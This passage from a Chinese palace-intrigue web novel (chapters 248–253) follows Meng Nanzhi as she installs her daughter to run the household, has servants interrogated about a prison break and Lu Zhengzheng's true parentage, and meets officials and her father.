沈砚修冷哼,“既然不是徇私,那便是你觉得平夫人无罪,日后还能从狱中出来,重新执掌这侯府中馈,所以你才敢如此肆无忌惮地阻拦本世子?”
王婆子脸色瞬间变得煞白,终于意识到自己陷入了沈砚修精心布置的言语陷阱之中。
她张了张嘴,慌乱地解释,“陆姑娘被劫,平夫人也是受害者,眼下平夫人虽然入狱,可老奴坚信她绝无谋逆之心,更不会做出损害侯府之事。”
“只要陆姑娘被劫一案查清,自然可还平夫人清白。眼下还未定案,世子便将侯府中馈交帐小姐执掌,反而会让外人觉得侯府理亏,落实了平夫人之罪,对侯府没有半点好处。”
沈朝昭听她还在狡辩,气得柳眉倒竖,又要扬鞭抽去。
孟南枝适时伸手拦住她,轻声安抚:“昭儿,莫要冲动。”
随后,她看向王婆子,目光平静却透着威严,“王婆子,你既然如此肯定地说陆筝筝被劫一案与林婉柔无关,为何不向官府证
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明你家主子无罪?”
“还是说你从根本上就知道陆筝筝是被谁所劫,人在何处,却故意隐瞒,包庇真凶,想要以此来要挟侯府?”
王婆子听到这话,浑身一颤。
他们刚刚不是在说中馈之事吗?
为什么孟南枝会直接将话题引到了这个敏感的问题上?
她一时有些哑口无言,额头上冒出细密的汗珠,支支吾吾地回答道:“老奴……老奴冤枉,老奴并不知道是谁劫走了陆姑娘,但平夫人她……她定然是无辜的。”
“你既不知**是谁,又如何断定林婉柔无辜?”
孟南枝说到此处,声音陡然转厉,“还是此事你本就知情,故意在此混淆视听,妄图为林婉柔开脱罪责?”
王婆子被孟南枝这一番话逼得一张老脸完全失了颜色,她身子微颤道:
“夫人,老奴……老奴真的不知,只是平夫人平日里为人和善、从不做违法之事,老奴实在不忍见她蒙冤,这才为她说道了几句。”
孟南枝紧紧盯着王婆子,发出一声冷笑,“和善?不做违法之事?”
王婆子低着头,不敢再言语。
她不怯世子和沈朝昭,但对于孟南枝却是本能地带着怯意。
毕竟当初她也是曾亲眼看着孟南枝深入水底的,哪想事隔十年,她会突然活着回来。
她年纪大了,最信鬼神之说。
有些害怕孟南枝是厉鬼回来报复她们家夫人抢了侯爷的。
要不然,她怎么会那么年轻,十年容貌都不曾有丁点衰老迹象。
至于太医说的那什么闭什么症的,她才不信。
若真有这冻颜之症,那太后和皇后娘娘怎么就衰老了呢。
孟南枝见状,冷声道:“将她拖下去,严刑拷打,务必问出实情。”
王婆子闻言试图逃跑,却被应声而上的侍卫抓住拖了下去。
孟南枝上前一步,目光凌厉地扫过此刻完全吓得缩成一团的仆人。
指着其中一个穿着嫩绿裙装,将头几乎埋进脖子里的丫鬟道:
“还有她,同样拖出去,严刑拷打。”
第248章 哪敢有半丝懈怠
孟南枝所指丫鬟,正是她曾见过一面,跟在陆筝筝身边佯装马惊偶遇奕王萧临渊的那个婢女晴雨。
不管是王婆子,还是这个婢女晴雨。
只要涉及林婉柔和陆筝筝,孟南枝都没有多少耐心。
能说就说,不能说,就先往死里打了再说。
晴雨显然没料到孟南枝竟然连问都不问,直接就让人把她拖出去拷打,吓得直接双腿发软,跪在地上求饶道:“夫人饶命,奴婢什么都不知情。”
她一边说着,一边不停地磕头,额头很快红肿一片。
孟南枝却不为所动,冷冷地看着她,“你若真不知情,为何一见到我便如此慌张?还是说,你心里有鬼,怕我查出什么来?”
晴雨声音中已然带了哭腔,“夫人,姑娘入狱后,奴婢一直身在侯府,从未再见过姑娘。奴婢对姑娘被劫一事是真的不知情,还望夫人明察。”
刚才田管家和那几个婆子,她是亲眼看着挨了打。
她虽然跟着陆筝筝,可却从未吃过苦。
依孟南枝和平夫人、姑娘的怨恨,她担心自己根本就撑不过去。
眼下她只能祈祷孟南枝能看在她主动求饶的份上,放过她。
然而孟南枝根本就懒得听她辩解,对侍卫扬了扬手,“拖下去。”
侍卫们闻言,立刻上前将晴雨拖了下去。
一时间,满院仆人皆不寒而栗。
孟南枝对长子沈砚修微微颔首后,便退回到他身后。
沈砚修目光扫过众人,清越的声音冰冷而威严,“本世子最后重审一遍,从今日起,沈朝昭便是侯府中馈的掌事之人,你们都要听从她的安排,若有违抗者,严惩不贷!”
仆人们声音微颤地齐声应道:“是,家主。”
事到如今,他们哪里还敢有半丝懈怠。
得到消息的刘嬷嬷,很快带着知夏、知秋和月芹她们到了侯府。
既然定下让沈朝昭执掌侯府中馈,那么作为曾经协助孟南枝管理侯府后宅“二主事”的刘嬷嬷将是沈朝昭的最佳助力。
知夏与知秋也该培养起来,辅助沈朝昭才对。
次子沈砚珩一直没有作声,从头到尾都静静地站在孟南枝身侧。
这是他昨晚和兄长商量好的,兄长身为世子,自然要担起责任,任沈家家主。
妹妹沈朝昭身为侯府小姐,执掌中馈即为历练,也为母亲为其铺路开设学堂,可能面对更复杂的事务管理做准备。
而他身为沈家二子,无需过多参与这些事务,只需在兄长和妹妹有需要的时候,出来帮忙即可。
剩下的时间,他要守在母亲身边,陪着母亲,护着母亲,好不让她受人欺辱。
狐假虎威的在下人面前训斥一顿,将威立起来后,沈朝昭一转身便又恢复傲娇中带着单纯的样子。
“母亲,你要不要去我的院子看看?”
“好啊。”
对于女儿的邀请,孟南枝自然不会拒绝。
叮嘱刘嬷嬷务必要亲自去盯着被拷打审问的王婆子后,孟南枝方才随沈朝昭一同跃过两道连廊,三个圆门,走向她的那方小院。
青瓦覆顶,芳香幽深。
虽不及主院那般宽敞气派,却也别有一番雅致。
门楣之上悬挂一块紫檀木门匾,上面骨韵有致地写着“朝阳院”三个字。
孟南枝对这字迹很熟,是长子沈砚修的。
按理说女儿长大有了独属于自己的别院后,都是父亲提字,哪想他们家为女儿提字的竟然是长子。
由此可见作为父亲的沈卿知对沈朝昭是何其不用心。
见女儿不甚在意,孟南枝压下心中思绪,也不再重提旧事,随她步入小院。
院内,青石板铺成的小道蜿蜒向前,两侧种着秋玉兰,枝繁叶茂。
东侧开辟了一方小池,池中种着几株已经枯萎的睡莲,锦鲤摆尾间,搅碎了水面倒影的房屋影子。
池边立着一架梨花木秋千,上面爬满蔓藤,因秋风扫落,椅子上落了层层泛黄的枯叶。
沈朝昭兴致勃勃地将孟南枝往屋里迎,“母亲,我这小院怎么样?是不是特别雅致?”
孟南枝将一切收入眼底,轻笑着点头,“好,特别雅致。”
想她溺水前,沈朝昭才四岁,还离不开她的怀抱,每日都跟着她睡。
不想一眨眼的功夫,竟然已经有了独属于自己的院子。
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>只是一进屋,孟南枝便愣住了。
因为屋内的摆设,和她溺水前在侯府所住屋内摆设一模一样。
若硬要说不同,便是那些陶瓷器具没有她所放的名贵罢了。
但位置却是完全按照她当时所做刻画下来的。
就连里间摆的那张雕花描金拔步床,都是她曾经睡的那一张。
见孟南枝眼盯着屋内不说话,沈朝昭忍不住抬手在她眼前晃了晃,“母亲?”
孟南枝缓过神来,心中涌起一股难以言喻的复杂情绪。
她尝试了几次,才艰涩地问道:“昭儿,你这屋内摆设是你喜欢的吗?”
沈朝昭杏眼低垂,抬手摸了摸檀木椅,又拉了拉垂下来的幔帘,笑得开怀。
“喜欢啊,一直都挺喜欢的,我自己的屋子,若不喜欢怎么会这么摆呢。”
有些话,她没办法和母亲说,也不想说与母亲让她担心。
母亲溺水后时,正处于依恋期的她,根本就睡不着觉,全靠知夏和知秋哄着、抱着、玩着,才勉强睡上一会儿。
她那时一直独享母亲的院子、房屋和大床,离了母亲的屋子,便会彻夜无眠。
后来,林婉柔入侯府为平夫人,不知怎么勾得父亲非要母亲的屋子让给她做主院。
她哭闹着不许,可父亲却置之不理,认为她无理取闹、不尊长辈。
是她的两位兄长,气不过,亲自将母亲屋里所有的东西,搬到了她现在所住的小院,屋内布置也全都复刻了当时的摆设。
还有门楣上的字,也是长兄希望她一辈子都拥有朝阳,专门为她提的。
这么多年,她虽然对母亲的记忆变得模糊,但对于母亲的思念却一直未曾减少。
即便女儿不说,孟南枝也能想象到她们兄妹当时的艰难。
若非逼到绝处,谁愿意一比一刻画别人房间的摆设来聊以慰藉呢。
只是哪怕是思念于自己,孟南枝也不希望女儿委屈。
往事不易多提,孟南枝压下喉间酸涩,与沈朝昭说了一些贴己话,方才与她出了屋子。
院外,月芹已稍等多时。
见她出来,俯身轻声道:“夫人,王婆子招了。”
第249章 你想故意隐瞒什么?
侯府议事厅。
孟南枝端坐于主位,雅青色素缎裙摆垂落地面,绣着的牡丹金纹在略显昏暗的光线映射下泛着冷寂的光。
沈朝昭**在她身侧,绯色衣襟衬得她面若桃花,一双杏目略带怒气地盯着上面的王婆子。
先前还嘴硬挺直腰板的王婆子,此刻没有一点骨气地瘫软在地上。
青灰色的粗布衣裙被冷汗浸得透湿,发髻凌乱地贴着头皮,哆嗦着发紫的嘴唇还散发着寒气。
刘嬷嬷横眉斜扫,低哑的声音带着狠厉,“还不快把你知道的和夫人如实说来。”
王婆子强撑着起来跪在地上,颤巍巍地说道:“夫人,老奴确信平夫人没有参与劫狱,是因为老奴曾亲耳听到平夫人在老爷面前说不救。”
孟南枝蹙眉,王婆子所指的老爷应该是林婉柔的父亲林则温。
她微微颔首,示意王婆子接着说。
“自姑娘入狱后,平夫人一直四处奔走,想尽办法营救,却始终有心无力,连想要老爷为此还到府上来了两次。”
“老爷每次来寻平夫人,都会让屏退下人,那次老奴本不知老爷来,想着给平夫人汇报采买一事,走到门口时,才发现老爷与平夫人在争执姑娘入狱一事。”
“当时老爷责斥平夫人没有尽力,平夫人反驳老爷,说姑娘既然犯了律法,便是住上三年牢狱又如何,出来之后……”
王婆子说到这里停顿下来。
沈朝昭身子前倾,急切地问道:“出来之后怎样?”
王婆子无力地摇了摇头,“平夫人没说完,老奴听着应是老爷打了她一巴掌,老奴唯恐惹事上身,不敢多听,悄声退下了。”
刘嬷嬷为防她不说实话,再次厉声喝道:“你若敢隐瞒半个字,仔细你的皮!”
王婆子吓得浑身一哆嗦,连忙磕头道:“老奴绝不敢有半句虚言啊,老奴亲耳所听,句句属实。”
“夫人,老奴自认对平夫人也算了解,平夫人外表看似柔弱温和,实际上骨子里却傲气的狠,最会争强好胜。”
“老爷为了姑娘的事打她,依她的脾气,怕是真的不会动手去救姑娘的,所以姑娘被劫一案,老奴才觉得平夫人是无辜的。”
沈朝昭听到这里,即纠心他们到底说了什么,又莫名觉得暗爽。
一向惯会在她面前装圣母的林婉柔,竟然也会被她父亲责斥和打骂。
孟南枝却是指尖轻扣桌案,陷入沉思。
听王婆子的意思,林则温对于陆筝筝的重视,显然要比林婉柔对陆筝筝的重视要高。
虽说陆筝筝和奕王萧临渊已有私情,萧临渊也曾说要将陆筝筝纳为侧妃。
但一联想到祁夫人所说,将陆筝筝逼进牢狱的后果是她所不能承担的,孟南枝就不能不多想。
林则温对于陆筝筝的重视,绝对不只是萧临渊想纳她为侧妃那么简单。
思到这里,孟南枝开口问道:“我记得林婉柔原来身边的婆子并不是你,你是何时跟在林婉柔身边的?那个婆子又去了哪里?”
能招的她都招了,至于孟南枝问的这些题外话,王婆子自然也不会隐瞒。
“老奴原是祁夫人的婢女,景和六年开始跟着平夫人,至于平夫人身边原来的婆子,因为私吞主家财产,被祁夫人发卖了。”
又是景和六年。
孟南枝眼皮微跳,面上却是不显,平静地问道:“我记得陆筝筝是景仁二十九年出生的对吧?”
王婆子怔了一下,不解她怎么突然问起这个,但还是如实地答道:“是,夫人,姑娘正是景仁二十九年春生出的。”
景仁,是前圣上的年号。
前圣上一共在位三十一年,景仁二十九年,除了几位皇子内流涌动,大衍还算平静,并未发生什么大事。
而且那时大衍与周边邻国相处和谐,国内一片祥和之景,百姓们安居乐业。
就连一向喜欢挑起战争的北戎,也因为此前被谢归舟的父亲谢老将军带领战士打怕了,与大衍签下十五年休战契约,而未曾再犯。
一直到景和三年,也就是孟南枝溺水那一年,才突然违约
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发起战争抢夺大衍城池。
同样,也是那一年,陆筝筝的父亲陆家嫡长子战死。
明挽月的父亲明将军,被流传为北戎奸细。
想到这里,孟南枝暗自摇了摇头。
总觉得这期间有联系,便又缺点契机和线索。
而且她溺水后所看到的那个巨幕里,并未提及陆筝筝的生父。
陆筝筝的一生,从表面上来看,就像是一朵可怜的小白花逆袭记。
五岁,父亲战死,留下她们孤儿寡母。
八岁,其母亲林婉柔与沈卿知私会被祖母揭穿,赶出陆府,尝尽人情冷暖,受尽旁人欺辱。
十五岁,随着改嫁的母亲林婉柔入住镇北侯府,与侯府子女不合,时常遭受排挤与刁难。
十六岁,因缘际会之下与奕王萧临渊有了交集,自此人生轨迹彻底改变。
直至一飞冲天,登上凤位。
哪怕是巨幕的最后,记录陆筝筝父亲的那一栏,也是生父陆家嫡长子,和继父沈卿知。
如果孟南枝不回来,陆老夫人顾及脸面,再加上陆筝筝攀上奕王萧临渊。
怕是陆筝筝不是陆家血脉之事,永远不会被揭穿。
所以孟南枝,还真是想不通她真正的生父会是谁。
但即便是想不通,孟南枝也不会坐以待毙,她再次问道:“你可知陆筝筝出生前后,林婉柔都在做些什么?”
王婆子低着脑袋,想了半天后,连连摇头。
“回夫人,这事情太过久远了,老奴实在是记不清,而且平夫人在确诊有孕后,一直身在陆府,老奴却是身在林府,对她做了什么当真是不知。”
孟南枝垂下眼帘,按着脑壳,对刘嬷嬷轻抬了下下巴。
收到示意的刘嬷嬷上前一步,对着王婆子冷声道:“那景仁二十八年呢,老奴可是查探到林氏未孕前,曾在林府住了一段时间。”
“而且,此前跟在林氏身边的那个婆子并非是发卖,而是被棍杖直接打死。”
“事到如今,你还不说实话,是想故意隐瞒什么?”
第250章 她的生父有问题
刘嬷嬷的话让王婆子脸色瞬间煞白。
她抬头想要反驳刘嬷嬷,只是在触及到孟南枝的视线后,又连忙垂下脑袋,哆嗦着嘴唇道:“夫人,老奴句句属实,绝不敢隐瞒。”
“那婆子的的确确是被祁夫人以私吞主家财产当场发卖的,这些当时在场的所有婆子丫鬟都可以为老奴作证,老奴是万万不敢欺瞒夫人的。”
刘嬷嬷再问:“那林氏在你们林府小住之事呢?”
王婆子沉默了一会儿,才又颤抖着声音道:“老奴想起来了,平夫人确实在景仁二十八年小住了几日,可那是因为祁夫人生病,平夫人特地从陆府赶回林府照顾祁夫人的。”
刘嬷嬷皱眉:“只是照顾祁夫人?没有外出?”
王婆子有些不确定的摇头,“应、该是没有外出。”
“什么应不应该,到底是有外出,还是没有外出,这点你都说不清楚吗?”刘嬷嬷明显不满。
“这……老奴,您容老奴再想想。那几日里祁夫人病得厉害,平夫人便日夜守在祁夫人榻前,衣不解带地侍奉汤药,府里上下都看在眼里,赞叹平夫人孝心可佳。”
“一直到祁夫人身子好利索,平夫人才回了陆府。老奴当时管着杂物,虽然没有贴身在祁夫人面前伺候,但确实不曾听说平夫人出过府。”
王婆子吞吞吐吐地说完,红肿的额头已经满是冷汗,眼神中更是充满了惶恐。
她生怕孟南枝不信她所言,再让刘嬷嬷安排人对她严刑拷打,又再次重审道:“夫人,老奴说的都是实话,若敢欺瞒一句,可遭天打雷劈。”
对于她来说,这已经算是顶天的立誓了。
刘嬷嬷问到此处,见她又如此发誓,便停了下来,转身对孟南枝轻轻点头。
她自上次听到孟南枝安排,去查探陆筝筝出生前后林婉柔都在做些什么、去了哪里后,没少费心事打听。
刚才所问,有一半都是在诈王婆子。
林婉柔身边的那个婆子确实如王婆子所说,被祁夫人发卖。
但前脚刚出林府的门,后脚祁夫人就派人把其带走,给活活打死。
这种大宅门里的腌臜事儿,自然是越少人知道越好。
祁夫人敢放任王婆子跟着林婉柔来侯府,那么让她知道内情的可能性便不大。
孟南枝自然清楚此事,摆手示意让人把她带下去严加看管。
顺便摘取有用的信息,交由次子沈砚珩送到刑部,告知郭大人。
至于陆筝筝身边的那处婢女晴雨,还不如王婆子,没打两下便全都招了。
但招的都是些没用的信息。
她也同样是随陆筝筝住进侯府后,才被林婉柔买来安排服侍陆筝筝的。
对陆筝筝的往事完全不知情,只是听命行事。
唯一承认的罪责,便还是那次马惊,马夫黑水是听从陆筝筝的安排将银针扎入马尻上,故意造成马惊,想要偶遇奕王萧临渊。
但此事孟南枝本就知情,马夫黑水现在还被关在将军府。
所以还真算不上什么有用的信息。
沈朝昭在一旁听得眉头紧皱,直到此刻,方才问出心中疑惑:“母亲,您问这么多,是不是觉得陆筝筝的生父有问题?难不成劫狱的是她生父不成?”
孟南枝收起心中复杂思绪,轻笑着对她微微颔首,“是与不是,早晚会查清。对于此事,你不必过于忧心。”
“这段时间,你就随你长兄一起住在侯府,和刘嬷嬷一同将侯府中馈打理起来,多学着些管家理事的本事。”
“侯府事务繁杂,虽有刘嬷嬷从旁协助,可你也要用心去学,切不可掉以轻心。若有拿不准的事,便来问我或是你长兄,莫要自作主张。”
母亲的安排,沈朝昭自然不会拒绝。
她脆生生地应道:“母亲放心,昭儿定会用心学习,不负母亲和大哥期望,将侯府中馈打理得井井有条。”
大哥既然都成为家主,管理整个侯府和沈家。
那她作为大哥的妹妹,肯定是不能过于落后,也要努力起来学着掌家,帮助大哥才对。
至于陆筝筝的生父,沈娇娇和陆妙妙相熟,她见到沈娇娇的时候,也不是不可以侧面打听一下。
孟南枝闻言,眸色柔和地轻拍了拍她的脑袋。
按理说孩子大了,该放手让他们去博
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、去闯。
但总有种不舍得放手的感觉,尤其是在她曾缺席了他们整整十年的情况下。
这种不舍几乎要深入骨髓,每看到他们的一次成长,都心疼得难以自已。
可她也明白,雏鹰终有展翅高飞的一日,若一直将他们护在羽翼之下,他们永远无法真正成长。
交代完女儿,孟南枝又到前院和正在忙碌的长子沈砚修,简单地说了两句话。
叮嘱他第二日务必要去将军府和谢归舟道谢后,方才带着月芹出了侯府。
……
同一时间,刑部议事厅。
太子萧明渊、屠戎将军谢归舟分别坐于议事厅主侧位。
接连多日部署追踪陆筝筝和那群黑衣人无果的郭继坤,正满脸疲惫地站在一旁,向二人汇报最新进展情况。
他声音沙哑,眼神中透露出焦虑与无奈:“殿下,将军,那群**十分狡猾,出了京都之后仿佛石沉大海,即便微臣连下急函邀各府同办,也没能寻到他们的痕迹。”
此案拖到现在,他已深感筋疲力尽。
圣上龙颜盛怒,指着他的鼻子责骂了好几次。
尚书之位保不保得住,他已经无所谓了,只要能保得住老命,哪怕降职外放,他也心甘情愿。
如今圣上让刚回京的太子和将军督办此案,对他来说也算是一种解脱。
他暗自松了口气,却也不敢有丝毫懈怠,继续说道:“不过,微臣已加派了人手,在京都周边各处严密排查,只是目前还没有什么实质性的进展。”
太子萧明渊微微皱眉,沉思片刻后说道:“郭大人,此事确实棘手。那群黑衣人敢在京城劫狱,背后定有强大的势力支持。”
“我们不能只局限于现有的追踪方式,要拓宽思路,从其他方面入手调查。陆筝筝的人际关系,你都核查清楚了?”
郭继坤连忙说道:“殿下,不管是镇北侯府、林府,还是奕王府,凡是跟陆筝筝有关的,下官微臣都派人仔细查探过,并未发现与那群黑衣人有直接关联的线索。”
一直静听着的谢归舟,却是突然开口道:“郭大人,你是不是忽略了陆家?”
第251章 扣这么一顶大帽子
陆家,陆筝筝的本家。
郭继坤赶忙自证并未忽略此事,“将军,您和太子此前身在山城,对近日京都所发生之事可能不太清楚,陆家并不承认陆筝筝是陆家血脉。”
当下,他便将所查实到的,镇北侯沈卿知想将陆筝筝纳入沈家族谱,以及陆妙妙出现揭穿陆筝筝身世讲了一遍。
言罢,他又接着说道:“下官着重到陆家核实了此事,并拿到了陆家大郎的手书,陆家说陆筝筝并非陆家血脉,并早已断绝关系,不可能参与到此案当中。”
“不是陆家血脉啊。”谢归舟低喃一声。
他上次秘密回京过于匆忙,只知陆筝筝入狱结果,倒是没有完全了解其过程。
若陆筝筝不是陆家血脉,这件事就更复杂了。
太子萧明渊显然也想到此处,对谢归舟对视一眼,道:“若她不是陆家血脉,那你可有查清她的生父?”
郭继坤摇头,“据陆老夫人所说,她当初赶林婉柔和陆筝筝出府,也是因为曾亲眼目睹林婉柔与镇北侯有染,她怀疑陆筝筝是镇北侯的血脉。”
谢归舟眸间闪过冷意,“可有与林婉柔和沈卿知镇北侯对质?”
“对质了,林婉柔咬死说她是被陆家冤枉的,陆筝筝就是陆家的血脉。至于镇北侯……”郭继坤语气中带了点幸灾乐祸,“他说他与陆筝筝并无血缘关系。”
他还记得自己昨日去天牢询问沈卿知时,沈卿知一脸便秘的表情。
怕是没想到陆家给他扣这么一顶大帽子。
而且沈卿知明显也在怀疑陆筝筝的生父究竟是谁,只不过嘴硬不肯说。
不待谢归舟继续追问,郭继坤又道:“林府那边,下官也去询问过,林大人对此讳莫如深,说是陆家在故意栽赃陷害他女儿。”
“下官仔细查询了陆筝筝出生这些年的经历,除了陆府、林府和镇北侯府,也就只有奕王与她关系相对比较密切了。”
再次听到奕王二字,萧明渊眸色微闪。
他自回京,便听母后提及四弟萧临渊因陆筝筝被劫一案,被父亲禁足。
这些年父皇一直没有给四弟萧临渊安排封地,何尝不是还对他有所不满,未曾下定让他继承皇位的决心。
在他心里,感情自然是没有权势巩固重要。
同样的,他认为萧临渊若是有心皇位,哪怕是他心系陆筝筝,也是不敢干出此等劫狱之事。
除非救陆筝筝对他来说,利大于弊。
那陆筝筝的出身,就有的深思了。
而恰逢此时,沈砚珩赶到刑部,被陈大人引入议事厅。
见到太子几人,沈砚珩也不怯场,游刃有余地将王婆子招供的有用信息全盘托出。
“景仁二十八年。”
一时间,众人皆陷入沉思。
不管是景仁二十八年,还是景仁二十九年,大衍都并没有发生什么大事。
“景仁二十七年呢。”谢归舟突然看向萧明渊。
萧明渊闻言,手指轻轻揉捏,“景仁二十七年,冬,皇祖父过六十大寿,各地藩王和邻国使臣纷纷进京贺寿。那段时间,京都各方势力交错,人员流动极大。”
听到这里,谢归舟眸色骤然转冷,“郭大人,立刻派人去查景仁二十七年,先皇寿后可有藩王或使臣在京都逗留。”
太子萧明渊跟着补充,“重点核查户部尚书林大人,在此期间接触过谁,和谁关系比较密切。”
“是。”
郭继坤神情凝重。
……
谢归舟与太子的安排,孟南枝自是不知。
难得清静,她便没有乘坐马车,而是沿着长街缓步而行。
初秋时节,街市人潮涌动,街边小贩的叫卖声此起彼伏。
孟南枝漫步其间,目光随意地扫过周围的一切。
没有在任何一个摊位停留,就仿佛只是单纯地享受这片刻的宁静与烟火气。
月芹始终跟在她身后半步,安静地走着。
只有遇见拥挤的地方,月芹才会上前一步拨开人群,为孟南枝开路。
突起的凉风,卷着落叶吹过青石板路,掀起一层层尘土。
月芹担心尘土迷了孟南枝的眼,正欲抬手挡在她眼前,却见一把石青色油伞已经撑到了孟南枝的眼前,为她挡了一阵风沙。
待看清来人,月芹忙是福身行礼,“曹世子。”
孟南枝抬
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眸,正对上曹景行略带笑意的桃花眼。
他未着官服,身穿湛青色暗纹锦袍,衣料轻软垂顺,腰间系着一块暖白玉佩。
因为身子微倾,导致那块玉佩的结穗打在了孟南枝的裙摆。
一晃一晃的,竟是与上面的盘扣纠缠在一起。
因为风沙过大,两人均未察觉。
出于对方护着自己的感谢,孟南枝率先笑道:“曹侍郎这是刚从官署出来?”
曹景行嘴角微扬,“是,正准备回府。”
顿了顿,他又道:“原也该到贵府贺声喜,砚修此次归京长进不少。”
对于他对长子的夸赞,孟南枝笑着应下,“那你这作叔父的,是该出点薄礼。”
“应该的。”曹景行眼中笑意更甚。
曹景行:“沈家那边可是说好了?”
孟南枝:“于大人那边可是说好了?”
两人同时开口,彼此相视一笑。
曹景行指的是沈老族长呈递疏奏,说明沈卿知脱离沈家一事。
孟南枝所指是礼部尚书于大人对此是否已经知情。
两人实际上说的是同一样事,只是不同方向的进展罢了。
阵风刚过,便下起了雨。
雨滴初下时,如黄豆般大小,噼里啪啦地砸在地面,连刚被凉风卷起的落叶都因此坠落下来。
街市小贩慌慌张张地开始收摊,行人也纷纷加快了脚步,四处寻找避雨之处。
曹景行又将油伞往孟南枝头顶举了举,“这雨下得急,要不先避一避?”
“好。”
孟南枝点头,她并不喜欢淋雨。
只是抬步准备离开时,才发现裙摆的盘口竟与曹景行腰间的玉佩缠在了一起。
她抬手扯了一下,却不想反而缠得更紧了些。
正欲弯身,却被曹景行给拦下。
“我来。”
将油伞递给孟南枝,让她撑着。
曹景行弯下身子,动作轻柔地去解那纠缠在一起的结穗与盘扣。
不远处,一道站立许久的修长身影,紧紧盯着这一幕。
他握指成拳,冷清的眸子百转幽深。
脚下步子提了几次,最终还是没能走上前去。
第252章 他孟正德还争得起
秋雨有些凉,织成灰蒙蒙的帘幕。
枯叶缠阶上,谢归舟的步伐虽乱,身影却依旧挺得笔直。
寡言的钱飞为他撑起一把墨色油伞,同样瞅着孟南枝的方向,垂眉不发一语。
昨日回府,百万便迫不及待地穿着孟南枝为他们置办的新衣,沿着将军府转悠了好几圈。
逢人就炫耀两句,完全不顾及一点将军如刀的眼神。
若非那尺寸与将军的身材相差甚大,只怕都要亲手从他身上给剥下来藏私。
而自己的那两件新衣,虽然将军没明说,但钱飞却是不敢往身上穿,被他放进屋子的箱底。
一时他都有些分不清快乐的百万到底是真傻,还是假傻。
风沙渐小,雨势渐密。
盘扣被曹景行轻柔地解开后,孟南枝便浅笑着往后退了一步,与他保持距离。
对此,曹景行只是淡笑一声,面容依旧温和地从她手中接过油伞,为她撑着。
“乘我的马车回去吧。”
孟南枝抬目看了下已经赶过来的曹府马车,和还没有停歇迹象的雨势,颔首应下。
只是在由曹景行护着登上马车时,余光瞥到街角一抹熟悉的背影,不由一怔。
谢归舟?
但因对方没有停留,且只是一抹衣角,孟南枝抛开思绪也未多想。
可能,看错了。
曹景行简单和她说起礼部尚书于大人那边已经没有问题后,并未同上马车。
反而在孟南枝离开后,转身撑伞走向刚刚谢归舟离开的方向。
马车碾过青石板路,并不颠簸。
与孟府马车内的清香不同,曹景行马车内燃着一缕冷梅香,清而不腻。
车内宽敞,即便同坐孟南枝和月芹二人,还空余很大的位置。
孟南枝轻撩车帘,扭头看曹景行已经没了踪影,也未多作深思。
待她回到孟府,父亲孟正德竟然难得清闲地在家中闲坐。
他银发用玉冠盘起,身着墨绿色锦衣常服,指尖轻捻几粒碎米,缓缓喂向不知从哪里弄来的笼中绣眼雀鸟。
雀鸟得了食,扑棱着翅膀在笼中飞舞了一段,清脆的啾鸣声在厅内回荡。
孟正德眉眼舒展带笑,竟是又抬手轻叩笼沿温润的轻哄。
孟南枝站在门口静看了一会儿,才轻声唤道:“父亲。”
孟正德闻声停下手中逗鸟的动作,转过身来同她笑道:“回来了?”
待看到她发间的微潮,才凝眉看向窗外,“又下雨了?可有淋到?”
“刚下一会儿,我没事。秋天的雨下不大,这会儿雨势已经渐停了。”
孟南枝接过月满递来的棉巾擦拭发间水珠,净完手后,方才走到他身侧坐下。
看了眼还在鸣叫的雀鸟,孟南枝轻抬玉手逗弄了两下。
“父亲这是从哪里讨来的绣眼雀?”
从前的父亲可并不喜好这些,自她溺水后,才又是垂钓又是逗鸟的,多了些朝堂之外的雅兴。
“不是我的,是闵齐成送给你的。”孟正德笑着对她扬了扬下巴。
孟南枝盯着那精致的雀鸟,疑惑道:“应天府尹闵大人?送我的?”
还真是稀奇。
孟正德点头,示意下人先将竹笼拎走,又净了手,方才说道:“上次辉县马文青的事,多亏你提醒他送到刑部,才没能砸到自己手里。”
“太子和屠戎将军此次将辉县县令马文青的父亲押解回京,刑部连审两日,已经证实是马文青故意在诬陷平阳公。”
“平阳公这些年确实一直借着逢年过节的由头,高价收礼,也曾指使马文青的父亲干过一些敛财的事。但对于女色方面,他虽有多房妾室,却并未做出过强买强卖之事。”
孟南枝微微蹙眉,“那马文青。”
孟正德摇头,“目前还是咬死不说是谁指使的,倒没想到竟然是个骨头硬气的。”
孟南枝闻言颔首,食指轻扣桌案。
马文青若如父亲所说那般骨头硬气,那与当时在刑部还没上刑就开始招认的马文青,完全像是两个人。
不过当时她就觉得奇怪,一个县令之子来到京都,怎么就敢光明正大地对着一个几岁幼童张嘴喊妾室呢。
还不凑巧的,刚好跑到她的铺子,让
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沈朝昭给逮个正着。
明显像是故意被人抓着错处。
可自招自爹,怎么看都有点匪夷所思。
孟正德叹道:“马文青的母亲,还有弟妹,在他入京前,都被送走了,到现在还没有寻到踪迹。”
“主动入瓮?”孟南枝抬目看向父亲,“奕王殿下?”
不怪孟南枝第一时间想到的是萧临渊,而是此事发生的那天,萧临渊先到她面前公开点明‘未曾想与她为敌’一事。
孟正德抿了口茶水,才轻蹙眉头,道:“不好说,查不到奕王殿下的手笔。好在你谨慎,提前与为父沟通,才能理清关键,没能让圣上将平阳公直接责罚。“
“不过即便如此,平阳公也难逃降爵之责,二皇子如断半臂,怕是不日就要回京诉苦了。”孟正德放下茶盏,目光悠远。
高位之争,向来残酷。
几位皇子都曾是他的学生,没有疼谁宠谁偏向于谁。
他虽不愿掺和,却不得不深陷其中,也清楚这其中的凶险与波谲云诡。
平阳公一案基本可以确定是有人在故意搅局,想打破几位皇子间原本所维持的平衡。
闵大人自知差点卷入浑水,庆幸当时听了孟南枝的建议,直接将马文青送至刑部,并深感欠了孟南枝的人情。
礼过重或过轻都不合适,更何况还刚审出平阳公收高礼一事。
所以他便想借着孟相的手,以雀鸟代感激,表明心迹。
不管是明里暗里,任何人都说不得错去。
不可不说,是个聪明的妙人。
思到这里,孟正德收回视线,眸中带了关切,“先不提这些,沈家那边可是稳住了?”
孟南枝笑道:“父亲放心便是,一切都在可控之内,沈老族长应该会在明日呈递奏疏,礼部那边已稳,宗人府那里还需要父亲打点一二。”
孟正德微微颔首,直接应下。
女儿对于长外孙沈砚修的安排,他从未质疑。
只要女儿想做的,他都会给予支持。
不过是沈家的家主而已,又不是要皇位。
他孟正德还争得起。
第253章 孟正德的矜持
难得见父亲清闲,孟南枝便起了心思。
拎起茶壶为他身侧玉盏中添了茶水后,孟南枝双手执起,递给他,并试探地问道:“父亲,山城之事已结,您近日是不是不太忙了?”
接过茶水抿了一口的孟正德轻轻点头,“是,太子回京,工部尚书也已归位,除了日常的公务,倒也清闲了几分。”
